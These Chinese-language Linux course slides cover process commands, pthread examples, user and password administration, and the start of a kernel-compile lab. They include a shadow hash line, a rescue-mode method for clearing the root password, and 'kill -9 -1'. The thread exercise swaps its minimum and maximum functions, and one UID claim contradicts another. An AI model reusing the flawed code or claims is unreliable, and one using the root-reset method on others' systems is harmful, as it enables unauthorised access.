1 S     0     4     2  0  60 -20 -     0 -      ?        00:00:00 kworker/0:0H
1 S     0     6     2  0  60 -20 -     0 -      ?        00:00:00 mm_percpu_wq
1 S     0     7     2  0  80   0 -     0 -      ?        00:00:06 ksoftirqd/0
1 S     0     8     2  0  80   0 -     0 -      ?        00:00:01 rcu_sched
1 S     0     9     2  0  80   0 -     0 -      ?        00:00:00 rcu_bh
```

```
jykuo@ubuntu: ~
jykuo@ubuntu:~$ ps -Alf
F S UID          PID  PPID  C PRI  NI ADDR SZ WCHAN  STIME TTY          TIME CMD
4 S root           1     0  0  80   0 - 46306 -      18:06 ?        00:00:06 /lib/systemd/sy
1 S root           2     0  0  80   0 -     0 -      18:06 ?        00:00:00 [kthreadd]
1 S root           4     2  0  60 -20 -     0 -      18:06 ?        00:00:00 [kworker/0:0H]
1 S root           6     2  0  60 -20 -     0 -      18:06 ?        00:00:00 [mm_percpu_wq]
1 S root           7     2  0  80   0 -     0 -      18:06 ?        00:00:06 [ksoftirqd/0]
1 S root           8     2  0  80   0 -     0 -      18:06 ?        00:00:01 [rcu_sched]
1 S root           9     2  0  80   0 -     0 -      18:06 ?        00:00:00 [rcu_bh]
```

程序操作指令

- kill
  - 刪除執行中程式，先使用 ps 指令查詢PID
  - 當執行 ftp 程式，出現當機時，ps -aux 可查出 ftp 的PID，假設 PID 為 110 ，輸入：# kill 110，可刪除這個 ftp 程式。

```
kjy@ubuntu:~$ ftp
ftp> quit
kjy@ubuntu:~$ ftp&
[3] 2219
```

```
kjy@ubuntu:~$ ps -aux |grep ftp
kjy        2219  0.0  0.0  27848  2516 pts/0    T    19:04   0:00 ftp
kjy        2222  0.0  0.0  21532  1148 pts/0    S+   19:05   0:00 grep --color=
auto ftp
```

```
kjy@ubuntu:~$ kill -9 2219
kjy@ubuntu:~$ ps -aux |grep ftp
kjy        2231  0.0  0.0  21532  1004 pts/0    S+   19:07   0:00 grep --color=
auto ftp
[3]+  Killed                  ftp
```

程序操作指令

- kill

kill -STOP [pid]
發送SIGSTOP (17,19,23)停止一個程序，而並不刪除這個程序。
kill -CONT [pid]
發送SIGCONT (19,18,25)重新開始一個停止的程序。
kill -KILL [pid]
發送SIGKILL (9)強迫程序立即停止，並且不實施清理操作。
kill -9 -1
終止擁有的全部程序。

程序操作指令

- nohup (no hang up，不要掛斷)。
  - 使用者用 ssh 等指令登入主機後，想要執行某指令，但登出或關掉 ssh，背景執行的工作會跟著消失，因它的父行程被關閉。
  - nohup 強制保存背景工作，即便父行程被關閉。

```
kjy@ubuntu:~$ sleep 300&
[1] 2996
kjy@ubuntu:~$ jobs
[1]+  Running                 sleep 300 &
kjy@ubuntu:~$ ps -fC sleep
UID          PID   PPID  C STIME TTY          TIME CMD
kjy         2996   2894  0 19:17 pts/0    00:00:00 sleep 300
```

  - 關閉Terminal，重新開啟新的Terminal，jobs是空的

```
kjy@ubuntu:~$ jobs
kjy@ubuntu:~$ ps -fC sleep
UID          PID   PPID  C STIME TTY          TIME CMD
kjy@ubuntu:~$
```

程序操作指令

- nohup (no hang up，不要掛斷)。
  - 再執行一次 nohup sleep 300&，

```
kjy@ubuntu:~$ nohup sleep 300&
[1] 3056
kjy@ubuntu:~$ nohup: ignoring input and appending output to 'nohup.out'

kjy@ubuntu:~$ jobs
[1]+  Running                 nohup sleep 300 &
kjy@ubuntu:~$ ps -fC sleep
UID          PID    PPID  C STIME TTY          TIME CMD
kjy         3056    3028  0 19:19 pts/0    00:00:00 sleep 300
```

  - 關閉Terminal，重新開啟新的Terminal，仍然有sleep 300

```
kjy@ubuntu:~$ jobs
kjy@ubuntu:~$ ps -fC sleep
UID          PID    PPID  C STIME TTY          TIME CMD
kjy         3056    2335  0 19:19 ?        00:00:00 sleep 300
```

程序操作指令

- free
  - 查看記憶體使用狀況

```
jykuo@ubuntu: ~
jykuo@ubuntu:~$ free
              total        used        free      shared  buff/cache   available
Mem:        4016412      733364     1616572       13100     1666476     2937512
Swap:       4192252           0     4192252
jykuo@ubuntu:~$
```

程序操作指令

- exit
  - 離開 Linux 系統，相當於 login out 。
- shutdown
  - 關機，只有 root 有權限
    - # shutdown <==系統在兩分鐘後關機，並傳送訊息給在線上的人
    - # shutdown -h now <==系統立刻關機
    - # shutdown -r now <==系統立刻重新開機
    - # shutdown -h 20:30 <==系統在今天 20:30 關機
    - # shutdown -h +10 <==系統在 10 分鐘後關機
- reboot
  - 重新開機，可以配合寫入緩衝資料的 sync 指令動作，如下：
  - # sync; sync; sync; reboot

Thread執行緒

- 單一執行緒的 Process 有一個PC
- 多執行緒的Process有多個PC，每一個指向一個執行緒要執行的下一個指令。
  - 多執行緒可以利用多核心CPU平行執行。
  - 每個執行緒具有: ID, PC, 暫存器組、stack
  - 同一個Process的所有執行緒，共享被分配的記憶體、code, data, file, OS signal。
  - OS造一個執行緒比造一個Process較經濟有效率。

Thread執行緒

- 多執行緒的Process

```
// p1.c        gcc p1.c -lpthread -o p1
//              ./p1
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
void f(char s[]) {
    for(int i=0;i<5;i++) {
        printf("%s", s);
        sleep(rand()%3);        //單位秒
        // usleep(rand()%3);    單位微秒
    }
}
void thread(void) { f("The thread\n"); }
```

```
int main(){
    int i, p;
    time_t t;
    pthread_t id;
    srand((unsigned) time(&t));
    p = pthread_create(&id,NULL,(void *) thread,NULL);
    if(p!=0){
        printf ("Create pthread error!n");
        exit(1);
    }
    f("The main\n");
    pthread_join(id, NULL);
    return 0;
}
```

Thread執行緒

- 多執行緒的Process，編譯執行
  - gcc p1.c -lpthread -o p1
  - ./p1

```
jykuo@ubuntu: ~/Test
jykuo@ubuntu:~/Test$ gcc p1.c -lpthread -o p1
jykuo@ubuntu:~/Test$ ./p1
The main
The thread
The thread
The main
The thread
The main
The main
The main
The thread
The thread
```

Exercise Thread執行緒

- 多執行緒的Process

```
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
double avg;
int min, max, size;
void* calculateAverage(void* data){
    int* input = (int*) data;
    int i, sum = 0;
    for (i = 0; i < size; i++)
        sum += input[i];
    avg = (double)sum / size;
}
void* calculateMinimum(void* data){
    int* input = (int*) data;
    max = input[0];
    for (int i = 0; i < size; i++)
        if(input[i] > max)
            max = input[i];
}
```

```
void* calculateMaximum(void* data){
    int* input = (int*) data;
    min = input[0];
    for (int i = 0; i < size; i++)
        if(input[i] < min)
            min = input[i];
}
int main(int argc, char *argv[]){
    int i;
    int data[argc - 1];
    int t1, t2, t3;
    pthread_t thread1, thread2, thread3;
    if(argc <= 1)  {
        printf("Incorrect. Please enter more integers.\n");
        exit(0);
    }
    for (i = 0; i < (argc - 1); i++)  {
        data[i] = atoi(argv[i + 1]);
        size++;
    }
```

Exercise Thread執行緒

- 多執行緒的Process

```
    t1 = pthread_create(&thread1, NULL, (void*) calculateAverage, (void*) data);
    if(t1)  {
        fprintf(stderr, "Error creating thread(calculateAverage), return code: %d\n", t1);
        exit(EXIT_FAILURE);
    }
    t2 = pthread_create(&thread2, NULL, (void*) calculateMinimum, (void*) data);
    if(t2)  {
        fprintf(stderr, "Error creating thread(calculateMinimum), return code: %d\n",t2);
        exit(EXIT_FAILURE);
    }
    t3 = pthread_create(&thread3, NULL, (void*) calculateMaximum, (void*) data);
    if(t3)  {
        fprintf(stderr, "Error creating thread(calculateMaximum), return code: %d\n", t3);
        exit(EXIT_FAILURE);
    }
    pthread_join(thread1, NULL);  pthread_join(thread2, NULL);   pthread_join(thread3, NULL);
    printf("The average : %f\n", avg);    printf("The minimum : %d\n", min);
    printf("The maximum : %d\n", max);
    exit(EXIT_SUCCESS);
}
```

Linux 帳號

郭忠義

jykuo@ntut.edu.tw

臺北科技大學資訊工程系

新增帳戶

- useradd 建立新使用者帳號，passwd設定密碼

```
kernel@ubuntu: ~
kernel@ubuntu:~$ sudo useradd John
kernel@ubuntu:~$ passwd John
passwd: You may not view or modify password information for John.
kernel@ubuntu:~$ sudo passwd John
New password:
BAD PASSWORD: it is too short
BAD PASSWORD: is too simple
Retype new password:
passwd: password updated successfully
kernel@ubuntu:~$ sudo useradd John
useradd: user 'John' already exists
kernel@ubuntu:~$
```

- useradd -m yyy
  - 建立使用者時會建立Home目錄

```
kernel@ubuntu:/home$ sudo useradd -m yyy
kernel@ubuntu:/home$ ls -al
total 20
drwxr-xr-x  5 root   root   4096 Mar 26 19:04 .
drwxr-xr-x 24 root   root   4096 Mar 26 01:34 ..
drwxr-xr-x 17 kernel kernel 4096 Mar 26 03:56 kernel
drwxr-xr-x 16 Tom    root   4096 Mar 26 04:04 Tom
drwxr-xr-x  2 yyy    yyy    4096 Mar 26 19:04 yyy
```

新增帳戶

- useradd 建立新使用者帳號
  - /etc/login.defs檔案需要有 CREATE_HOME yes，才會不需要 –m 也會建立家目錄
  - sudo gedit /etc/login.defs

```
Open ▾                                  login.defs
                                        /etc

CREATE_HOME  yes
#
# Should login be allowed if we can't cd to the home dir
# Default in no.
#
DEFAULT_HOME    yes
```

```
kernel@ubuntu:/home$ sudo useradd uuu
kernel@ubuntu:/home$ ls -al
total 24
drwxr-xr-x  6 root   root   4096 Mar 26 19:13 .
drwxr-xr-x 24 root   root   4096 Mar 26 01:34 ..
drwxr-xr-x 18 kernel kernel 4096 Mar 26 19:12 kernel
drwxr-xr-x 16 Tom    root   4096 Mar 26 04:04 Tom
drwxr-xr-x  2 uuu    uuu    4096 Mar 26 19:13 uuu
drwxr-xr-x  2 yyy    yyy    4096 Mar 26 19:04 yyy
```

新增帳戶

- /etc/login/defs

```
MAIL_DIR        /var/spool/mail  <==使用者預設郵件信箱放置目錄

PASS_MAX_DAYS   99999    <==/etc/shadow 內的第 5 欄，多久需變更密碼日數
PASS_MIN_DAYS   0        <==/etc/shadow 內的第 4 欄，多久不可重新設定密碼日數
PASS_MIN_LEN    5        <==密碼最短的字元長度，已被 pam 模組取代，失去效用！
PASS_WARN_AGE   7        <==/etc/shadow 內的第 6 欄，過期前會警告的日數

UID_MIN          1000    <==使用者最小的 UID，意即小於 1000 的 UID 為系統保留
UID_MAX         60000    <==使用者能夠用的最大 UID
SYS_UID_MIN       201    <==保留給使用者自行設定的系統帳號最小值 UID
SYS_UID_MAX       999    <==保留給使用者自行設定的系統帳號最大值 UID
GID_MIN          1000    <==使用者自訂群組的最小 GID，小於 1000 為系統保留
GID_MAX         60000    <==使用者自訂群組的最大 GID
SYS_GID_MIN       201    <==保留給使用者自行設定的系統帳號最小值 GID
SYS_GID_MAX       999    <==保留給使用者自行設定的系統帳號最大值 GID

CREATE_HOME     yes      <==在不加 -M 及 -m 時，是否主動建立使用者家目錄？
UMASK           077      <==使用者家目錄建立的 umask ，因此權限會是 700
USERGROUPS_ENAB yes      <==使用 userdel 刪除時，是否會刪除初始群組
ENCRYPT_METHOD SHA512    <==密碼加密的機制使用的是 sha512 這一個機制！
```

新增帳戶

- finger 帳號，查詢是否存在，要先安裝finger

```
kernel@ubuntu: ~
kernel@ubuntu:~$ finger John
The program 'finger' is currently not installed. You can install it by typing:
sudo apt install finger
kernel@ubuntu:~$ sudo apt install finger
```

```
kernel@ubuntu:~$ finger John
Login: John                             Name:
Directory: /home/John                   Shell: /bin/sh
Never logged in.
No mail.
No Plan.
```

帳號管理

- 指定家目錄
  - useradd 新增使用者帳號時，預設在 /home 下依帳號名稱建立家目錄，例如 kernel預設家目錄是 /home/kernel。
  - 要改變預設家目錄，可加上 -d 參數指定家目錄的路徑。
    - sudo useradd -d /home/cat Tom
    - sudo passwd Tom
    - sudo mkdir /home/cat

```
jykuo@ubuntu: ~
jykuo@ubuntu:~$ sudo useradd -d /home/cat Tom
[sudo] password for jykuo:
jykuo@ubuntu:~$ sudo passwd Tom
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
jykuo@ubuntu:~$ mkdir /home/cat
mkdir: cannot create directory '/home/cat': Permission denied
jykuo@ubuntu:~$ sudo mkdir /home/cat
jykuo@ubuntu:~$
```

帳號管理

- 使用putty登入 Tom
  - pwd 查看Tom 的家目錄

- 不建立家目錄
  - 若 useradd 在新增使用者時不自動建立家目錄，通常用於某些有安全性考量的系統特殊帳號，可加上 -M 參數。
  - sudo useradd -M kernel

帳號管理

- 指定使用者 ID
  - 系統上的使用者都有專屬使用者 ID(UID)，新增使用者時，useradd 預設自動以遞增方式指定尚未被使用的 ID ，若要指定使用者 ID，可使用 -u 參數。
  - sudo useradd -u 1500 kernel

帳號管理

- 指定群組
  - 使用者會有一個主要群組，預設 useradd 會自動新增跟帳號相同名稱的主要群組。
  - 要將新使用者加入既有群組，可加上 -g 參數，並指定群組名稱或群組 ID。
  - sudo useradd -g team kernel
  - 將 kernel 新使用者主要群組設為 team，team群組須事先建立。

帳號管理

- 加入其他群組
  - 使用者也可同時隸屬其他多個不同群組， -G 參數，以逗號分隔指定每一個要加入的群組。
  - sudo useradd -g team -G admin,developer,leader kernel
  - 新增 kernel 帳號的主要群組是 team，同時也是 admin、developer、leader 三個群組的成員。
- 帳號使用期限
  - 使用者帳號可設定使用期限，讓帳號過期後無法使用，-e 參數可指定使用的期限。
  - sudo useradd -e 2019-03-17 kernel
  - kernel 帳號只能使用到 2019 年 3 月 17 日。

帳號管理

- 查詢帳號使用期限
  - sudo chage -l kernel
- 設定帳號使用期限
  - sudo useradd -f 45 kernel
  - 設定密碼過期 45 天後，停用該帳號。
- 設定使用者真實姓名
  - -c 參數加上帳號的註解說明文字，管理者一般填入使用者真實姓名
  - sudo useradd -c "Lee Small Dragon" kernel

帳號管理

- 指定登入 Shell
  - 某些特殊系統帳號，因安全因素，不希望它像正常帳號一樣登入使用，可更改預設的登入 shell。
  - 加上 -s 參數並指定 shell 的路徑：
  - sudo useradd -s /sbin/nologin kernel
  - nologin 是特殊 shell，可讓帳號登入後立即登出，無法做任何事，大部分不允許登入的帳號都會將登入 shell 設定為 nologin。
- 骨架目錄(skeleton directory)
  - 家目錄的預設範本，包含各種預設的設定檔或目錄，例如 .bashrc ，新增使用者並建立家目錄時，會把骨架目錄中的所有檔案複製。
  - 系統預設骨架目錄是 /etc/skel，可使用 -k更改骨架目錄。
  - sudo useradd -k /etc/custom.skel kernel

密碼管理

- sudo passwd -d 使用者帳號
  - 取消密碼，可能無法登入
- sudo passwd -e 使用者帳號
  - 設定密碼過期，登入要改密碼
  - 此時若使用者以 SSH 登入，系統會強制變更密碼：
    - ssh kernel@192.168.0.1

密碼管理 - 密碼狀態查詢

- sudo passwd -S 使用者帳戶
  - 查詢帳戶狀態 (管理者可使用 sudo passwd -aS 查所有使用者密碼狀態)
    - Kernel P 09/30/2015 0 99999 7 -1，七個欄位：
    - 帳號名稱。
    - 密碼狀態，狀態包含鎖定密碼(L)、無密碼(NP)與可用密碼(P)。
    - 上次修改密碼的時間。
    - 密碼最短使用期限（minimum password age），單位為天。
    - 密碼最長使用期限（maximum password age），單位為天。
    - 密碼過期前警告期間（password warning period），單位為天。
    - 密碼過期後可使用的期間（password inactivity period），單位為天。

密碼管理 - 密碼鎖定

- 鎖定使用者密碼， -l 參數，sudo passwd -l kernel
- 鎖定後檢查狀態資訊：sudo passwd -S kernel
  - 輸出為：kernel L 09/30/2015 0 99999 7 -1
  - 鎖定後，系統會在 /etc/shadow 的密碼欄位前加驚嘆號！
    - kernel:!6XZkm06BG$WkOtRLFncY3WSuLEXnu1yHYdWw0eJYcD.208K3CuhLEuZKL20IVZRkqrB.z2lNnEBW0bDEJ4wQ.e5gH8BB4EK0:16708:0:99999:7:::
    - 使用者在密碼被鎖定狀態，無法變更自己密碼。
- 解除鎖定，使用 -u 參數：sudo passwd -u kernel

密碼管理-密碼期限

- -n 參數，設定密碼最短變更間隔時間
  - sudo passwd -n 3 kernel
  - 使用者至少每隔三天才能變更一次密碼。設定 0，表示任何時間都可自由變更密碼。
- -x 參數，設定密碼有效期限
  - sudo passwd -x 90 kernel
  - 密碼可使用 90 天，換一次密碼。

密碼管理-密碼期限

- -w 參數，設定密碼過期前警告期間
  - sudo passwd -w 7 kernel
  - 將警告期間設定為 7 天，使用者密碼過期前一週，登入後會顯示密碼即將過期的警告訊息，提醒使用者盡快更改密碼。
- -i 設定設定密碼過期後可使用的期間
  - sudo passwd -i 10 kernel
  - 使用者密碼過期後，會有一段寬限期(inactivity period)，讓使用者可繼續登入，寬限期過後還是沒有變更密碼，使用者會無法登入。

帳號密碼管理

- /etc/passwd，記錄所有帳號

```
kernel@ubuntu: ~
kernel@ubuntu:~$ more /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
```

```
kernel:x:1000:1000:kernel,,,:/home/kernel:/bin/bash
Tom:x:1001:1001::/home/Tom:
John:x:1002:1002::/home/John:
```

帳號密碼管理 /etc/passwd

- /etc/passwd，檔案內容
  - 帳號在 passwd 檔案中有 7 個欄位，由左到右用冒號 (:) 隔開。
    - 帳號名稱：passwd 檔的前面是系統內建帳號 (如 root) 或常駐服務使用的帳號 (如 adm)。一般使用者帳號在後面，第 3 個欄位號碼 (使用者識別碼UID) 預設由 10000 向上遞增。
    - 使用者密碼：本來是一串亂碼的編碼字串，啟用投影密碼只剩一個 "x"。密碼編碼字串存放到 /etc/shadow ，只有 root 帳號有權讀取、修改，以避免密碼編碼字串外流被破解，導致系統被入侵。
    - 使用者識別碼 (UID)：系統使用 UID 辨識使用者，須唯一號碼。編號 0 是 root UID；編號 1～999 是系統保留給各種常駐服務和伺服器使用。第一個分配給使用者的編號從 1000 開始。
    - 群組識別碼 (GID, Group ID)：每個帳號皆屬於某一群組，每個群組有唯一的 GID 供系統識別。例如 root 帳號所屬 root 群組識別碼為 0，users 群組識別碼是 100

帳號密碼管理 /etc/passwd

- /etc/passwd，檔案內容
  - 使用者相關資訊：記錄使用者姓名、電話與地址等資料。這部份可自行加入，或保留空白。
  - 使用者家目錄：預設目錄名稱和使用者帳號相同，方便管理者識別，亦可與帳號不同。
  - 使用者環境：使用者在文字模式下的環境，負責解譯使用者輸入的指令，讓系統瞭解使用者要做甚麼事。
- 預設任何使用者都可讀取 /etc/passwd 檔案，可用ls 指令查看。
- /etc 目錄下還有 passwd- 檔，是 passwd 備份檔。當需要復原 passwd 檔內容，可複製這個檔案。

帳號密碼管理 /etc/passwd

- /etc/passwd，檔案
  - 預設權限是 "rw-r--r--", 表示所有使用者皆可讀取。
  - 因 passwd 檔內含 UID 與 GID 資訊，負責轉換擁有者 (owner) 和 UID間的關係，須讓使用者能讀取。

```
jykuo@ubuntu: ~
jykuo@ubuntu:~$ ls -al /etc/passwd
-rw-r--r-- 1 root root 2318 Feb 11 22:58 /etc/passwd
jykuo@ubuntu:~$
```

- 管理者把 passwd 檔權限更改為 "rw------"，只有 root 帳號能讀取該檔案。

```
jykuo@ubuntu: ~
jykuo@ubuntu:~$ sudo chmod 600 /etc/passwd
jykuo@ubuntu:~$ ls -al /etc/passwd
-rw------- 1 0 root 2318 Feb 11 22:58 /etc/passwd
jykuo@ubuntu:~$
```

帳號密碼管理 /etc/passwd

- 當 jykuo 再登入系統後變成：

I have no name!@ubuntu: ~

```
login as: jykuo
jykuo@192.168.6.128's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.13.0-36-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


32 packages can be updated.
20 updates are security updates.

New release '18.04.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

*** System restart required ***
Last login: Tue Feb 11 23:20:26 2020 from 192.168.6.1
I have no name!@ubuntu:~$
```

I have no name!@ubuntu: ~

```
I have no name!@ubuntu:~$ ls -al
total 104
drwxr-xr-x 15 1000 jykuo 4096 Feb 11 23:20 .
drwxr-xr-x  4    0 root  4096 Feb 11 23:01 ..
-rw-------  1 1000 jykuo    7 Feb 11 23:20 .bash_history
-rw-r--r--  1 1000 jykuo  220 Feb 11 18:29 .bash_logout
-rw-r--r--  1 1000 jykuo 3771 Feb 11 18:29 .bashrc
drwx------ 12 1000 jykuo 4096 Feb 11 22:24 .cache
```

- 不僅提示符號前的帳號名稱變成 "I have no name！"，檔案擁有者的名稱也變成識別碼 1000！所以不應限制 passwd 的讀取權限。

帳號密碼管理 /etc/shadow

- /etc/shadow，儲存真實密碼
  - 帳號在 shadow 檔案中有 7 個欄位，由左到右用冒號：隔開。
    - 登入名稱（login name），登入時輸入的帳號名稱。
    - 加密的密碼（encrypted password），
      - 內容不符合加密輸出格式（例如包含 * 或！等特殊字元），則此使用者無法登入。
      - 內容的第一個字元是驚嘆號（!），表示這個密碼已被鎖定，無法登入，而驚嘆號後面剩餘的字串就是被鎖定前的密碼。
      - 空的，則該使用者就可不用密碼登入系統，但會使用到 /etc/shadow 應用程式，可自行決定是否要接受無密碼的狀況。
      - 若忘 root 密碼，可用 Linux 安裝光碟開機進到救援模式（或使用Linux Live 光碟），把此欄位清空，可用 root 登入重設密碼。

帳號密碼管理 /etc/shadow

- 上次密碼變更日期（date of last password change）
  - 此數值是從 1970 年 1 月 1 日算起的天數。
  - 此欄位數值為 0，表示使用者下一次登入系統須馬上變更密碼。
  - 此欄位是空的，代表密碼使用期限與最短變更間隔功能被停用（也就是密碼不會過期，可一直用，且可以任意並更密碼）。
- 密碼最短使用期限（minimum password age）
  - 兩次變更密碼最短須間隔多久，在變更密碼後，如果還要更改一次密碼，須再等待時間，單位為天。
  - 此欄位為 0 或空字串，代表關閉密碼最短變更間隔的功能。
- 密碼最長使用期限（maximum password age）
  - 指定一組密碼最久可使用多久，就是密碼在變更後，最多只能使用時間，後要更改密碼，單位為天。
  - 密碼過期後仍可使用，下次登入系統會要求立即變更密碼。
  - 此欄位是空的，代表停用密碼的最長使用期限功能。
  - 密碼最長使用期限小於最短使用期限，不能更改密碼。

帳號密碼管理 /etc/shadow

- 密碼過期警告期限（password warning period）
  - 設定密碼過期前多久，對使用者提出警告訊息，單位為天。
  - 此欄位為 0 或空字串，代表關閉密碼過期警告的功能。
- 密碼暫停使用期間（password inactivity period）
  - 密碼過期後，還有多久時間可登入更改密碼，單位為天。
  - 若過期後，又超過時間未登入更改密碼，密碼會被停用，無法登入。
  - 欄位是空的，就代表此功能被停用。
- 帳號過期時間（account expiration date）
  - 帳號過期的時間點，數值從 1970 年 1 月 1 日算起的天數。
  - 此時密碼是否有問題都不能登入。
  - 欄位空的，代表此帳號不會過期，可以一直使用。
- 保留欄位（reserved field）

- 正常狀況，/etc/shadow 只有 root 可讀取。

密碼管理

- 修改檔案 login.defs
  - sudo gedit /etc/login.defs

```
PASS_MAX_DAYS                    90
# 90天須更改密碼1次
PASS_MIN_DAYS                    1
# 密碼變更後，最少經過1天才能再更改
PASS_MIN_LEN                     8
# 密碼長度最短為8個字元
PASS_WARN_AGE                    7
# 密碼到期前7天開始告知使用者
```

帳戶安全性－密碼規則

- 安裝PAM ()密碼檢測模組
  - sudo apt-get install libpam-cracklib
  - sudo apt-get install libpam-pwquality
- 修改檔案
  - sudo gedit /etc/pam.d/common-password
  - password requisite pam_pwquality.so retry=3 ucredit=-1
  - password requisite pam_cracklib.so retry=3 minlen=8 difok=3

參數	說明
minlen	最小長度設定。預設使用“credits”，因此最小長度需加1，若需長度為8，則minlen的值應該為9。
dcredit	數字要求的設定。值為負數N時表示至少有N個數位，正數時對數字個數沒有限制。
ucredit	大寫字母要求的設定。值為負數N時表示至少有N個大寫字母，正數沒有限制。
lcredit	小寫字母要求的設定。值為負數N時表示至少有N個小寫字母，正數沒有限制。
ocredit	特殊字元要求的設定。值為負數N時表示至少有N個特殊字元，正數沒有限制。

Linux 核心編譯

郭忠義

jykuo@ntut.edu.tw

臺北科技大學資訊工程系

Linux Kernel(前置準備)

- 此Lab以Ubuntu 16.04 Desktop version做為系統版本，下載
- 安裝完 Linux Ubuntu後更新、升級相關套件(30~60 min)
  - islab@ubuntu:~$ sudo apt update
  - islab@ubuntu:~$ sudo apt upgrade
- 查看目前系統使用的Kernel版本資訊
  - islab@ubuntu:~$ uname -a

```
jykuo@ubuntu: ~
jykuo@ubuntu:~$ uname -a
Linux ubuntu 4.13.0-36-generic #40~16.04.1-Ubuntu SMP Fri Feb 16 23:25:58 UTC 20
18 x86_64 x86_64 x86_64 GNU/Linux
```

安裝編譯所需套件(前置準備)

- 請務必以下列指令安裝相依套件(30~60 min)
  - islab@ubuntu:~$ sudo apt install build-essential ncurses-dev libssl-dev build-essential ncurses-dev xz-utils kernel-package m4 bison flex libelf-dev
  - 若出現以下畫面請選Keep the local version currently installed

核心Kernel

- 電腦真正運作是「硬體」
  - 運算使用 CPU、資料儲存使用硬碟
  - 圖形顯示使用顯示卡、連接 Internet使用網路卡
- Kernel
  - 提供硬體抽象層、磁碟及檔案系統、多任務控制等功能的系統軟體。
  - 一個核心不是一套完整的作業系統。
  - 一套基于Linux核心的完整作業系統稱Linux作業系統，或GNU/Linux。
- Kernel任務
  - 控制硬體運作。
  - 負責管理系統的程序(Process)、記憶體、設備驅動程式、檔案系統和網路系統，決定系統的性能和穩定性。

Kernel

- 微核心(Microkernel kernel)
  - 依功能劃分為多個獨立程序(Process)，稱為Server。
  - 特權Server執行在特權模式下，提供很小部分的硬體抽象。
  - 一般Server執行，**一般**設計在使用者空間(Windows NT不是)。
  - 模組化設計，使"核心的核心"設計更簡單。
  - 所有Server都保持獨立的地址執行空間，不能像單核心那樣直接呼叫函式(Server功能)，而是透過訊息傳遞處理通訊IPC(Inter Process Communication)機制。
  - 例子：AIX，BeOS，L4微核心系列，Mach中GNU Hurd、Mac OS X，Minix，MorphOS，QNX，RadiOS，Windows NT。

Kernel

- 單核心(Monolithic kernel)
  - 核心所有服務都執行在同一地址空間(核心空間)。
  - 核心可以直接呼叫其他模組的函式。
  - 程式碼高度整合(耦合)，小的Bug容易使系統不穩定，但運作較有效率。
  - 通常以單一靜態二進位檔案儲存在磁碟，或快取記憶體，在啟動後被載入記憶體中的核心空間，開始運作。
  - 多數作業系統都已能在運作執行階段，以動態方式載入(Load)、解除安裝(Unload)可執行的模組，不過這些模組是屬於二進位程式碼的層次，或稱映像層次，而非核心系統架構的層次。
  - 例子： UNIX核心，Linux核心。

Linux Kernel

- 開源的類Unix作業系統 - 單核心。
- 整個 Linux 作業系統家族基於該核心部署個人電腦、伺服器和各種嵌入式平台（如路由器、無線存取點、專用小交換機、機上盒、FTA 接收器、智慧型電視、數位影片錄影機、網路附加儲存（NAS）
- 平板電腦、智慧型手機及智慧型手錶的 Android 作業系統同樣基於 Linux Kernel的服務。
- 雖桌面電腦的占用率較低，基於Linux的作業系統幾乎從行動裝置到主機的其他全部領域。世界前500台最強的超級電腦全部使用Linux。

下載新版Kernel程式碼

- Linux Kernel是一個開源計畫，可在https://www.kernel.org/取得最新Kernel。
- 下載Source code解壓縮，以下使用4.16版為範例
  - islab@ubuntu:~$ wget https://github.com/torvalds/linux/archive/v4.16.tar.gz
- 解壓縮
  - islab@ubuntu:~$ tar -xvf v4.16.tar.gz
- 切換至linux-4.16目錄下
  - islab@ubuntu:~$ cd linux-4.16/

```
kernel@ubuntu:~$ wget https://github.com/torvalds/linux/archive/v4.16.tar.gz
--2020-03-26 02:19:50--  https://github.com/torvalds/linux/archive/v4.16.tar.gz
Resolving github.com (github.com)... 140.82.112.3
Connecting to github.com (github.com)|140.82.112.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://codeload.github.com/torvalds/linux/tar.gz/v4.16 [following]
--2020-03-26 02:19:51--  https://codeload.github.com/torvalds/linux/tar.gz/v4.16
Resolving codeload.github.com (codeload.github.com)... 140.82.113.10
Connecting to codeload.github.com (codeload.github.com)|140.82.113.10|:443... co
nnected.
```

設定 config 檔

- 產生新的Config檔案，選取Save按Enter
  - islab@ubuntu:~/linux-4.16$ make menuconfig

  - Config filename保持預設即可，按下Enter

設定 config 檔

- 選擇Exit即可

```
.config - Linux/x86 4.16.0 Kernel Configuration
                Linux/x86 4.16.0 Kernel Configuration
  Arrow keys navigate the menu.  <Enter> selects submenus ---> (or empty
  submenus ----).  Highlighted letters are hotkeys.  Pressing <Y>
  includes, <N> excludes, <M> modularizes features.  Press <Esc><Esc> to
  exit, <?> for Help, </> for Search.  Legend: [*] built-in  [ ]

      [*] 64-bit kernel
          General setup  --->
      [*] Enable loadable module support  --->
      [*] Enable the block layer  --->
          Processor type and features  --->
          Power management and ACPI options  --->
          Bus options (PCI etc.)  --->
          Executable file formats / Emulations  --->
      [*] Networking support  --->
          Device Drivers  --->
          Firmware Drivers  --->
          File systems  --->
          Kernel hacking  --->
          Security options  --->
        (+)

        <Select>    < Exit >    < Help >    < Save >    < Load >
```

新增System Call

- 切換至linux-4.16目錄下
  - islab@ubuntu:~$ cd linux-4.16/
- 建立新的資料夾並切換到該資料夾中
  - islab@ubuntu:~/linux-4.16$ mkdir newsyscall
  - islab@ubuntu:~/linux-4.16$ cd newsyscall

新增System Call

- 新增一個新的System call內容的程式
  - islab@ubuntu:~/linux-4.16/newsyscall$ gedit lab.c

```
#include <linux/kernel.h>
asmlinkage int sys_hellolab(void) {
